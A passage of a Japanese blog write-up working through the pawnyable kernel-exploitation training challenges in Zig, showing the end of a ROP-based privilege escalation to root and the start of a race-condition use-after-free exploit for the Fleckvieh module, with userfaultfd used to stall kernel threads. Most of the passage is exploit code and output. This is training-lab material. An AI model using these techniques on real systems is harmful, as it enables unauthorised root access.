</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> <span style="color:#b6a0ff">for</span> (stat_fds) <span style="color:#00d3d0">|</span>sfd<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">close</span>(sfd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">@memcpy</span>(buf[<span style="color:#00bcff">32</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">32</span>..][<span style="color:#f78fe7">@offsetOf</span>(seq_operations, <span style="color:#79a8ff">&#34;start&#34;</span>)..][<span style="color:#00bcff">0</span>..<span style="color:#00bcff">8</span>], std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>ADD_RSP_0xb8_POP_R13_POP_R14_POP_R15_POP_RBP));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">overwrite</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (stat_fds) <span style="color:#00d3d0">|</span>sfd<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#feacd0">ropchain</span>(sfd);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// let it crash!
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>whoami
</span></span><span style="display:flex;"><span>./exploit
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">echo</span> <span style="color:#79a8ff">&#39;#!/bin/sh\n/usr/bin/whoami &amp;&gt; /tmp/whoisit\nchmod 777 /tmp/whoisit&#39;</span> &gt; /tmp/x
</span></span><span style="display:flex;"><span>chmod <span style="color:#00bcff">777</span> /tmp/x
</span></span><span style="display:flex;"><span>touch /tmp/unknown
</span></span><span style="display:flex;"><span>chmod <span style="color:#00bcff">777</span> /tmp/unknown
</span></span><span style="display:flex;"><span>/tmp/unknown &amp;&gt; /tmp/null
</span></span><span style="display:flex;"><span>cat /tmp/whoisit</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1337
</span></span><span style="display:flex;"><span>[INFO] Won the race
</span></span><span style="display:flex;"><span>[INFO] Kernel base at 0xffffffff8e400000
</span></span><span style="display:flex;"><span>[INFO] Won the race
</span></span><span style="display:flex;"><span>Segmentation fault
</span></span><span style="display:flex;"><span>root</span></span></code></pre></div>

<p><a href="/pawnyable/lk03.zig">完全なexploit</a></p>
<p>セグフォルトによるエクスポロイトがクラッシュしたのはちょっとハック的だが、結局は権限昇格できた。</p>
<h2 id="fleckvieh">Fleckvieh</h2>
<details>
<summary>課題情報</summary>
<div class="details">





  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[*] &#39;./fleckvieh/qemu/rootfs/root/fleckvieh.ko&#39;
</span></span><span style="display:flex;"><span>    Arch:       amd64-64-little
</span></span><span style="display:flex;"><span>    RELRO:      No RELRO
</span></span><span style="display:flex;"><span>    Stack:      No canary found
</span></span><span style="display:flex;"><span>    NX:         NX enabled
</span></span><span style="display:flex;"><span>    PIE:        No PIE (0x0)
</span></span><span style="display:flex;"><span>    Stripped:   No</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sed -i -E <span style="color:#79a8ff">&#34;s|^(echo 2 &gt; /proc/sys/kernel/kptr_restrict)|# \1|&#34;</span> rootfs/etc/init.d/S99pawnyable
</span></span><span style="display:flex;"><span>sed -i -E <span style="color:#79a8ff">&#34;s|^(echo 1 &gt; /proc/sys/kernel/dmesg_restrict)|# \1|&#34;</span> rootfs/etc/init.d/S99pawnyable
</span></span><span style="display:flex;"><span>sed -i -E <span style="color:#79a8ff">&#34;s/(setuidgid) 1337 (sh)/\1 0 \2/&#34;</span> rootfs/etc/init.d/S99pawnyable
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sed -i <span style="color:#79a8ff">&#39;/${DEBUG:+ -s} \\/d&#39;</span> run.sh
</span></span><span style="display:flex;"><span>sed -i -E <span style="color:#79a8ff">&#39;/qemu-system-x86_64 \\/a \ \ \ \ ${DEBUG:+ -s} \\&#39;</span> run.sh
</span></span><span style="display:flex;"><span>sed -i -E <span style="color:#79a8ff">&#39;s/ kaslr/ ${NOKASLR:+no}kaslr/&#39;</span> run.sh
</span></span><span style="display:flex;"><span>sed -i <span style="color:#79a8ff">&#39;/-serial unix:vm.sock,server,nowait/d&#39;</span> run.sh
</span></span><span style="display:flex;"><span>sed -i -E <span style="color:#79a8ff">&#39;/-monitor \/dev\/null/a \ \ \ \ -serial unix:vm.sock,server,nowait \\&#39;</span> run.sh</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>SMEP enabled
</span></span><span style="display:flex;"><span>SMAP enabled
</span></span><span style="display:flex;"><span>KPTI enabled
</span></span><span style="display:flex;"><span>KASLR enabled</span></span></code></pre></div>

</div>
</details>
<p>ま、ごく普通の競合状態。</p>
<ol>
<li><kbd>blob_get</kbd>​や​<kbd>blob_set</kbd>​の中に​<kbd>blob_list *victim = blob_find_by_id(&hellip;)</kbd>​を実行し</li>
<li>他のスレードで​<kbd>blob_del</kbd>​を実行し、​<kbd>victim</kbd>​を指すブロブを開放する</li>
<li>ヒープスプレー</li>
<li><kbd>copy_to_user</kbd>​/​<kbd>copy_from_user</kbd>​に実行の時に​<kbd>victim-&gt;data</kbd>​（現在ダングリングポインタ）は選択したカネル構造体を指してる；AAR/AAW手に入れた</li>
</ol>
<!--listend-->
<p><a id="code-snippet--lk04-types"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> fleckvieh <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">const</span> ops <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">enum</span>(<span style="color:#6ae4b9">u32</span>) {
</span></span><span style="display:flex;"><span>        ADD <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xf1ec0001</span>,
</span></span><span style="display:flex;"><span>        DEL <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xf1ec0002</span>,
</span></span><span style="display:flex;"><span>        GET <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xf1ec0003</span>,
</span></span><span style="display:flex;"><span>        SET <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xf1ec0004</span>,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ioctl</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t, op<span style="color:#00d3d0">:</span> ops, buf<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?</span>[]<span style="color:#6ae4b9">u8</span>, id<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?</span><span style="color:#6ae4b9">i32</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">i32</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> (op <span style="color:#00d3d0">!=</span> .ADD <span style="color:#b6a0ff">and</span> id <span style="color:#00d3d0">==</span> <span style="color:#00bcff">null</span>) <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.InvalidArgument;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> ret <span style="color:#00d3d0">=</span> linux.<span style="color:#feacd0">ioctl</span>(fd, <span style="color:#f78fe7">@intFromEnum</span>(op), <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>request_t{ .id <span style="color:#00d3d0">=</span> id <span style="color:#b6a0ff">orelse</span> <span style="color:#00bcff">undefined</span>, .size <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">if</span> (buf) <span style="color:#00d3d0">|</span>b<span style="color:#00d3d0">|</span> b.len <span style="color:#b6a0ff">else</span> <span style="color:#00bcff">undefined</span>, .data <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">if</span> (buf) <span style="color:#00d3d0">|</span>b<span style="color:#00d3d0">|</span> <span style="color:#f78fe7">@ptrCast</span>(b) <span style="color:#b6a0ff">else</span> <span style="color:#00bcff">undefined</span> }));
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(ret)) {
</span></span><span style="display:flex;"><span>            .SUCCESS <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#f78fe7">@intCast</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i64</span>, <span style="color:#f78fe7">@bitCast</span>(ret))),
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>e<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(e),
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> request_t <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>    id<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span>,
</span></span><span style="display:flex;"><span>    size<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>,
</span></span><span style="display:flex;"><span>    data<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">*</span>]<span style="color:#6ae4b9">u8</span>,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> blob_list <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> struct_head <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>        next<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span>struct_head,
</span></span><span style="display:flex;"><span>        prev<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span>struct_head,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    id<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span>,
</span></span><span style="display:flex;"><span>    size<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>,
</span></span><span style="display:flex;"><span>    data<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">*</span>]<span style="color:#6ae4b9">u8</span>,
</span></span><span style="display:flex;"><span>    list<span style="color:#00d3d0">:</span> struct_head,
</span></span><span style="display:flex;"><span>};</span></span></code></pre></div>
</details>

<p>だが競合状態を悪用する好機（​<kbd>blob_find_by_id</kbd>​と​<kbd>copy_from_user</kbd>​の間）は短すぎる。
時間を稼げる方法を二つ紹介する⸺userfaultfdとFUSE。</p>
<h3 id="userfaultfd">userfaultfd</h3>
<p>userfaultfdはページフォルトをユーザー空間の中に対処するものだ。
「なぜそんなもん役立つか？」と聞いてるだろう。
いくつかの正当な使用例はあるだろう、だがpwnの場合なら価値はカーネルスレードを停滞することだ。
この悪用能力はかなりやばいから、この機能（具体的にはカネル空間に由来するページフォルト）はLinux 5.2で特権が必要な行動になった。<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup></p>
<p>まずは<a href="https://noahdesu.github.io/2016/10/10/userfaultfd-hello-world.html">userfaultfdのハローワールド</a>を実装しろう。</p>
<p><a id="code-snippet--lk04-userfaultfd"></a></p>





  
  
    

  
  
    
    
  

  
  
    





  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><a href="#code-snippet--pin-to-core">&lt;&lt;pin-to-core&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> userfaultfd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">const</span> msg <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">packed</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">const</span> EVENT <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">enum</span>(<span style="color:#6ae4b9">u8</span>) {
</span></span><span style="display:flex;"><span>            PAGEFAULT <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0x12</span>,
</span></span><span style="display:flex;"><span>            FORK,
</span></span><span style="display:flex;"><span>            REMAP,
</span></span><span style="display:flex;"><span>            REMOVE,
</span></span><span style="display:flex;"><span>            UNMAP,
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>        event<span style="color:#00d3d0">:</span> EVENT,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        _reserved1<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u8</span>,
</span></span><span style="display:flex;"><span>        _reserved2<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u16</span>,
</span></span><span style="display:flex;"><span>        _reserved3<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        arg<span style="color:#00d3d0">:</span> <span style="color:#b6a0ff">packed</span> <span style="color:#b6a0ff">union</span> {
</span></span><span style="display:flex;"><span>            pagefault<span style="color:#00d3d0">:</span> <span style="color:#b6a0ff">packed</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">const</span> FLAG <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">packed</span> <span style="color:#b6a0ff">struct</span> (<span style="color:#6ae4b9">u64</span>) {
</span></span><span style="display:flex;"><span>                    WRITE<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>                    WP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>                    MINOR<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>                    _<span style="color:#00d3d0">:</span> u61 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                flags<span style="color:#00d3d0">:</span> FLAG,
</span></span><span style="display:flex;"><span>                address<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>                feat<span style="color:#00d3d0">:</span> <span style="color:#b6a0ff">packed</span> <span style="color:#b6a0ff">union</span> { ptid<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span> },
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            fork<span style="color:#00d3d0">:</span> <span style="color:#b6a0ff">packed</span> <span style="color:#b6a0ff">struct</span> { ufd<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span> },
</span></span><span style="display:flex;"><span>            remap<span style="color:#00d3d0">:</span> <span style="color:#b6a0ff">packed</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>                from<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>                to<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>                len<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            remove<span style="color:#00d3d0">:</span> <span style="color:#b6a0ff">packed</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>                start<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>                end<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            _reserved<span style="color:#00d3d0">:</span> <span style="color:#b6a0ff">packed</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>                _reserved1<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>                _reserved2<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>                _reserved3<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> uffdio_api <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">const</span> FEATURE <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">packed</span> <span style="color:#b6a0ff">struct</span> (<span style="color:#6ae4b9">u64</span>) {
</span></span><span style="display:flex;"><span>            PAGEFAULT_FLAG_WP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            EVENT_FORK<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            EVENT_REMAP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            EVENT_REMOVE<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            MISSING_HUGETLBFS<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            MISSING_SHMEM<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            EVENT_UNMAP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            SIGBUS<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            THREAD_ID<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            MINOR_HUGETLBFS<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            MINOR_SHMEM<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            _<span style="color:#00d3d0">:</span> u53 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        api<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>        features<span style="color:#00d3d0">:</span> FEATURE,
</span></span><span style="display:flex;"><span>        ioctls<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> uffdio_range <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>        start<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>        len<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> uffdio_register <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">const</span> MODE <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">packed</span> <span style="color:#b6a0ff">struct</span> (<span style="color:#6ae4b9">u64</span>) {
</span></span><span style="display:flex;"><span>            MISSING<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            WP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            MODE_MINOR<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            _<span style="color:#00d3d0">:</span> u61 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        range<span style="color:#00d3d0">:</span> uffdio_range,
</span></span><span style="display:flex;"><span>        mode<span style="color:#00d3d0">:</span> MODE,
</span></span><span style="display:flex;"><span>        ioctls<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> uffdio_copy <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">const</span> MODE <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">packed</span> <span style="color:#b6a0ff">struct</span> (<span style="color:#6ae4b9">u64</span>) {
</span></span><span style="display:flex;"><span>            DONTWAKE<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            WP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            _<span style="color:#00d3d0">:</span> u62 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        dst<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>        src<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>        len<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>        mode<span style="color:#00d3d0">:</span> MODE,
</span></span><span style="display:flex;"><span>        copy<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i64</span>,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> uffdio_zeropage <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">const</span> MODE <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">packed</span> <span style="color:#b6a0ff">struct</span> (<span style="color:#6ae4b9">u64</span>) {
</span></span><span style="display:flex;"><span>            DONTWAKE<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            _<span style="color:#00d3d0">:</span> u63 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        range<span style="color:#00d3d0">:</span> uffdio_range,
</span></span><span style="display:flex;"><span>        mode<span style="color:#00d3d0">:</span> MODE,
</span></span><span style="display:flex;"><span>        zeropage<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i64</span>,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> uffdio_writeprotect <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">const</span> MODE <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">packed</span> <span style="color:#b6a0ff">struct</span> (<span style="color:#6ae4b9">u64</span>) {
</span></span><span style="display:flex;"><span>            WP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            DONTWAKE<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            _<span style="color:#00d3d0">:</span> u62 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        range<span style="color:#00d3d0">:</span> uffdio_range,
</span></span><span style="display:flex;"><span>        mode<span style="color:#00d3d0">:</span> MODE,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> uffdio_continue <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">const</span> MODE <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">packed</span> <span style="color:#b6a0ff">struct</span> (<span style="color:#6ae4b9">u64</span>) {
</span></span><span style="display:flex;"><span>            DONTWAKE<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>            _<span style="color:#00d3d0">:</span> u63 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        range<span style="color:#00d3d0">:</span> uffdio_range,
</span></span><span style="display:flex;"><span>        mode<span style="color:#00d3d0">:</span> MODE,
</span></span><span style="display:flex;"><span>        mapped<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i64</span>,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> UFFD_API<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xaa</span>;
